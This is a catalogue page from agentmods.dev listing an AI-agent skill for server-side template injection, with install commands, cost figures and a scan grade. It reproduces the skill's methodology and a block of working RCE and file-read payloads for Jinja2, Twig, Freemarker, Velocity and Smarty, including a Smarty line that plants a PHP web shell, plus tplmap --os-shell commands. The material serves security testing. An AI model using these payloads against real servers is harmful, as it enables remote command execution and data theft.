Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill sstigit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/ssti)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ssti"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ssti/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ssti"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00118 | $0.01749 |
| Opus 5.5 | $0.00047 | $0.00700 |
| Sonnet 5.5 | $0.00024 | $0.00350 |
| Haiku 4.5 | $0.00012 | $0.00175 |
Grade A, and why
ssti scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
compatibility: Designed for Claude Code. Requires curl, Burp Suite; tplmap (optional). How it starts
The opening of the file, as written. The whole thing — 128 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Side Template Injection (SSTI)
What Is Broken and Why
SSTI occurs when user-supplied data is concatenated into a template string that is then rendered by a server-side template engine. Unlike XSS, execution happens on the server. Template engines provide access to the application runtime environment, enabling attackers to traverse object hierarchies, access internal classes, and ultimately execute arbitrary OS commands. The root cause is using templates as string formatting mechanisms fed with untrusted input rather than rendering only trusted template files.
Key Signals
- User input is reflected in responses as if processed (math expressions evaluated, not echoed)
- Parameters controlling page layout, email templates, error messages, or notification content
{{7*7}}returns49(Jinja2, Twig);${7*7}returns49(Freemarker, Velocity);<%= 7*7 %>returns49(ERB)- Error messages referencing template engines (Jinja2, Twig, Freemarker, Velocity, Smarty, Pebble)
- Python/Java stack traces in response
- Custom error pages that echo request parameters
Methodology
- Inject mathematical expressions using different template syntaxes and observe if they are evaluated:
{{7*7}}→49(Jinja2/Twig)${7*7}→49(Freemarker/Velocity/Mako)#{7*7}→49(Ruby ERB variant)<%= 7*7 %>→49(ERB, EJS)
- Identify the template engine from syntax that evaluates and from error messages.
- Use engine-specific payloads to access internal objects.
- Escalate to reading files, then to OS command execution.
- Automate detection and exploitation with tplmap.
Payloads & Tools
# Detection probes
TARGET/page?name={{7*7}} # Jinja2, Twig
TARGET/page?name=${7*7} # Freemarker, Velocity
TARGET/page?name=<%= 7*7 %> # ERB
TARGET/page?name=#{7*7} # Ruby
TARGET/page?name={{7*'7'}} # Twig (returns 7777777, Jinja2 returns 49)
# Jinja2 (Python) — RCE via __mro__ traversal
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Jinja2 — config object read
{{config}}
{{config.items()}}
# Jinja2 — file read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# Jinja2 — RCE alternative
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
# Twig (PHP) — RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker (Java) — RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
# Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
# Smarty (PHP)
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# tplmap automated detection and exploitation
tplmap -u "TARGET/page?name=*"
tplmap -u "TARGET/page?name=*" --os-shell
tplmap -u "TARGET/page" --data "name=*" --os-cmd "id"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 128 lines · 118 tokens per session scan A d68700fb4630
ssti is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 118 tokens to every session and 1,749 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.
Other skills, from other repositories
bun-api
Bun runtime API reference for TypeScript scripts. Covers Bun.serve() HTTP/HTTP/2 server with routes and WebSockets, fetch() transport options, proxies and Bun.FetchSession connection pools, Bun.ModuleGraph multi-instance apps, Bun.file(), Bun.write(), Bun.$() shell, Bun.spawn(), Bun.Glob, Bun.env, bun:sqlite…
hub-agent-setup
Connect a local or remote AI agent to Giskard Hub through an authenticated, non-streaming HTTPS endpoint. Use when a user asks to connect, integrate, or register their agent with the Hub. Build a minimal wrapper, deploy or tunnel it, and use the Hub connection test (SDK or MCP) to guide any fixes.
api-designer
Helps design REST APIs - routes, request/response structures, validation, status codes, and conventions. Use when designing new endpoints or reviewing an existing API's design for consistency.
auth-flow-reviewer
Deep review of authentication, authorization, session, and SSO flows specifically - token lifecycle, session fixation, logout behavior, and OAuth/SSO correctness. Use when reviewing or designing login, session, or SSO code specifically.
log-message-improver
Improves logging statements for observability - structured logging, appropriate log levels, and useful context. Use when logs are too sparse, too noisy, or missing the context needed to debug an incident from them alone.
cqrs-event-sourcing-designer
Designs Command Query Responsibility Segregation (CQRS) and Event Sourcing models with projection rebuilders.